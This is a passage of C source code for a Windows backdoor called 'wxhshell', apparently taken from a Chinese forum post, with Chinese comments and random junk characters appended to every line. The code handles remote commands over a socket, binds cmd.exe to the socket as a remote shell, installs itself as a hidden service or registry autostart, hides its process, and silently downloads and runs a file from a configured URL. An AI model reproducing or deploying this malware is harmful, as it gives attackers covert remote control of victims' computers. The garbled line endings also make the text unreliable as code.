  else { [8ZDMe  
3Tr,waV  
    switch(cmd[0]) { dJuyJl$*  
  *tjaac;z<J  
  // 帮助 @ f[-  
  case '?': { +.cpZqWn3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }n)0}U5;0  
    break; fy+5i^{=  
  } g-3^</_fZ  
  // 安装 &YFe"C  
  case 'i': { >N&{DJmD  
    if(Install()) #.8v[TkKq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  lKbWQ>  
    else )x-b+SC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s,R:D).  
    break; T CT8OU|  
    } 74^v('-2  
  // 卸载 Iv6 lE:)  
  case 'r': { FDo PW~+[  
    if(Uninstall()) txEN7!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z% +$<J  
    else 4*_jGw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mo/R+\u+Y  
    break; PRfq_:xy  
    } .Ys e/oEo  
  // 显示 wxhshell 所在路径 &%J{uRp  
  case 'p': { @@R Mm$  
    char svExeFile[MAX_PATH]; 4U2{1aN`  
    strcpy(svExeFile,"\n\r"); lpT&v ;$`  
      strcat(svExeFile,ExeFile); OvH:3 "Sdy  
        send(wsh,svExeFile,strlen(svExeFile),0); EBhdP  
    break; # epP~J_f  
    } wv~:^v'  
  // 重启 @Y0ZW't  
  case 'b': { xMbgBx4+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); . !1[I{KU  
    if(Boot(REBOOT)) 3f =ZNJ>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sY<UJlDKT  
    else { r8"2C#  
    closesocket(wsh); = gF035  
    ExitThread(0); 6R :hsC$  
    } w!lk&7Q7Z  
    break; zJXK:/  
    } 2poo@]M/  
  // 关机 }u#3hYa  
  case 'd': { Kebr>t8^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hpf0fU  
    if(Boot(SHUTDOWN)) loA/d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <NZPLo F  
    else { #7;?Ls  
    closesocket(wsh); e5mu-  
    ExitThread(0); <^s31.&p  
    } $yU 5WEX  
    break; Zk`y"[J  
    } =A!oLe$%  
  // 获取shell /? %V% n  
  case 's': { I`{3I-E  
    CmdShell(wsh); xLed];2G  
    closesocket(wsh); %P}H3;2  
    ExitThread(0); U\%r33L )  
    break; 97Dq;  
  } cfmLErkp  
  // 退出 V u")%(ix  
  case 'x': { )\yK61aX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6UCF w>  
    CloseIt(wsh); 0"7+;(\1Rk  
    break; 2hV -h  
    } ?|,:;^2l1  
  // 离开 H+*3e&  
  case 'q': { 6uD<E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4dixHpq'  
    closesocket(wsh); :]:)c8!6  
    WSACleanup(); iw#~xel<ez  
    exit(1); Bq$IBAot  
    break; f?d5Ltg   
        } =]%,&Se  
  } 0n:cmML )D  
  } `M~R4lr  
:G>w MMv&z  
  // 提示信息 I^EZs6~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =r+K2]z,L  
} x8aOXN#w}  
  } LZ wCe$1  
yF\yxdUX#  
  return;  Gd A!8  
} WVD48}HF-  
yKhI&  
// shell模块句柄 z~2{`pET  
int CmdShell(SOCKET sock) W=HvMD  
{ XaCvBQ  
STARTUPINFO si; jyD~ER}J  
ZeroMemory(&si,sizeof(si)); CHTK.%AQH!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n*"r!&Dg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1\}XL=BE  
PROCESS_INFORMATION ProcessInfo; Z,"4f*2  
char cmdline[]="cmd"; .Wt3|?\=nd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U 2-{p  
  return 0; z&QfZs  
} o/3.U=px~  
[.4{s  
// 自身启动模式 e1g3a1tnWl  
int StartFromService(void) /4O))}TX  
{ WowT!0$  
typedef struct $y6 <2w%b  
{ U;/2\Ii  
  DWORD ExitStatus; QM8Ic,QFvo  
  DWORD PebBaseAddress; R*vQvO%)h  
  DWORD AffinityMask; ,c"J[$i$  
  DWORD BasePriority; VwH|ed$  
  ULONG UniqueProcessId; d<d3j9u(#  
  ULONG InheritedFromUniqueProcessId; CNb(\]  
}   PROCESS_BASIC_INFORMATION; @'>RGaPV  
.X%J}c$  
PROCNTQSIP NtQueryInformationProcess; EMP|I^  
)Xqjl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  g*a+$'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PP{ 9Y Vr  
P@PF" {S  
  HANDLE             hProcess; :pM 8Q1:B  
  PROCESS_BASIC_INFORMATION pbi; JXL?.{'A  
HnArj_E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Btxtu"]nJo  
  if(NULL == hInst ) return 0; |kK5:\H  
mt+i0PIfj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e_e\Ie/pDc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .;g kV-]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {ol7*%u  
Uj;JN}k  
  if (!NtQueryInformationProcess) return 0; ="78#Wfj2  
MO$y st?fK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]+Lr'HF  
  if(!hProcess) return 0; 2$Xof  
|l8=z*v<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (mp  
oc)`hg2=  
  CloseHandle(hProcess); 1N(#4mE=  
hYpxkco"4'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QOEi.b8r  
if(hProcess==NULL) return 0; `bBkPH}M  
\}4Y]xjV2  
HMODULE hMod; Y Iwa =^  
char procName[255]; 0?$|F0U"J  
unsigned long cbNeeded; r'Wf4p^Xd  
3" m]A/6C}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WYb}SI(E  
}Q4Vy  
  CloseHandle(hProcess); ?|kbIZP(  
@*|VWHR  
if(strstr(procName,"services")) return 1; // 以服务启动 )1!<<;@0  
}0pp"[JU  
  return 0; // 注册表启动 !.,J;Qt  
} 5H.~pc2y  
%d];h  
// 主模块 R/x3+_.f  
int StartWxhshell(LPSTR lpCmdLine) ZeuL*c \  
{ w[d8#U   
  SOCKET wsl; ;*Vnwt A  
BOOL val=TRUE; }O7sP^  
  int port=0; ;>mM9^Jaf  
  struct sockaddr_in door; =s":Mx,o  
?Fx~_GT  
  if(wscfg.ws_autoins) Install(); 5c3-?u!  
j~>{P=_}  
port=atoi(lpCmdLine); h_?`ESI~  
~D3 S01ecM  
if(port<=0) port=wscfg.ws_port; [-*&ZYp  
&*>.u8:r  
  WSADATA data; V3ozaVk;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0Q a 0  
AC1RP`c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K7`6G[RMb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hUi@T}aA|  
  door.sin_family = AF_INET; DAb/B  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r|UJJ9i  
  door.sin_port = htons(port); 1l$ C3c  
%4m Nk}tyH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g8uqW1E^  
closesocket(wsl); =oI[E~1<  
return 1; k5E2{&wZ  
} 3bWGWI  
_Z]l=5d  
  if(listen(wsl,2) == INVALID_SOCKET) { 'wEQvCS  
closesocket(wsl); <z\SKR[  
return 1; |Jn|GnM  
} Is4,QnY_[  
  Wxhshell(wsl); g0j)k6<6(Y  
  WSACleanup(); `;Tf_6c  
ywJ [WfCY  
return 0; #epbc K  
g6%]uCFB  
} 4+q,[m-$(  
:41Y  
// 以NT服务方式启动 N_bgWQY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xd%qebK  
{ X3G593ts  
DWORD   status = 0; j%s,%#al  
  DWORD   specificError = 0xfffffff; @$r[$D v  
**%&|9He  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $x'jf?zs!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pL1ABvBB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Rb:H3zh  
  serviceStatus.dwWin32ExitCode     = 0; x3cjyu<K  
  serviceStatus.dwServiceSpecificExitCode = 0; r%f Q$q>  
  serviceStatus.dwCheckPoint       = 0; %]}JWXo f  
  serviceStatus.dwWaitHint       = 0; ?pZU'5le`  
5zBA]1PY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LH(P<k&  
  if (hServiceStatusHandle==0) return;  B`e/ /  
Ck )W=  
status = GetLastError(); Zq 85q  
  if (status!=NO_ERROR) L" ejA  
{ -c&=3O!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9Of;8R  
    serviceStatus.dwCheckPoint       = 0; ISC>]`  
    serviceStatus.dwWaitHint       = 0; `[5xncZ-  
    serviceStatus.dwWin32ExitCode     = status; { .$7g8]I  
    serviceStatus.dwServiceSpecificExitCode = specificError; mv99SOe[Fz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g@^y$wt  
    return; U!q2bF<@  
  } x t-s"A  
@/kI;8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]:Ep1DIMl  
  serviceStatus.dwCheckPoint       = 0; K9EHT-  
  serviceStatus.dwWaitHint       = 0; e2 c'Wab  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); MS;^:t1`  
} jdG2u p  
HSNj  
// 处理NT服务事件,比如:启动、停止 ;S U<T^a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?h4[yp=w  
{ %cn 1d>M+I  
switch(fdwControl) wA$7SWC  
{ "L]v:lg3  
case SERVICE_CONTROL_STOP: xcw:H&\w6  
  serviceStatus.dwWin32ExitCode = 0; Oh1U=V2~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]7_>l>  
  serviceStatus.dwCheckPoint   = 0; Hj>9#>b  
  serviceStatus.dwWaitHint     = 0; Y9X,2L7V  
  { E>QS^)ih  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S|tA%2z  
  } k*;U?C!  
  return; 5%2~/ "  
case SERVICE_CONTROL_PAUSE: 'S6zkwC]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EM@|^47$  
  break; 0bh 6ay4  
case SERVICE_CONTROL_CONTINUE: r5s{t4 ;Ch  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LmJjO:W}^y  
  break; 1R8tR#l  
case SERVICE_CONTROL_INTERROGATE: !O"2)RU1  
  break; []@@  
}; MXaik+2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I*TTD]e'X  
} \m|5Aqs  
vxPE=!|  
// 标准应用程序主函数 ?VotIruR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /E<Q_/'Z  
{ 9e`};DE   
,]0BmlD  
// 获取操作系统版本 <fHHrmZ#/.  
OsIsNt=GetOsVer(); T%%EWa<a  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  P s>Y]  
RjVU m+<  
  // 从命令行安装 ub8d]GZJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); R-zS7Jyox  
h<?Px"& J  
  // 下载执行文件 k:?)0Uh%^  
if(wscfg.ws_downexe) { QaO9-:]eN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t+A*Ws*o  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^ulgZ2BQ|  
} /95z1e  
!QVhP+l'H  
if(!OsIsNt) { ).jQ+XE'>  
// 如果时win9x,隐藏进程并且设置为注册表启动 !:\0}w$-  
HideProc(); 4Mg%}/cC  
StartWxhshell(lpCmdLine); $)*qoV  
} A v>v\ :.>  
else %G(VYCeK  
  if(StartFromService()) :7X4VHw/  
  // 以服务方式启动 ;Lfn&2G  
  StartServiceCtrlDispatcher(DispatchTable); 392(N(  
else UUz{Qm%  
  // 普通方式启动 ;V~x[J|x  
  StartWxhshell(lpCmdLine); olQP>sa  
1@I#Fv  
return 0; #Db^*  
}
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只看该作者 1 发表于: 2006-10-10
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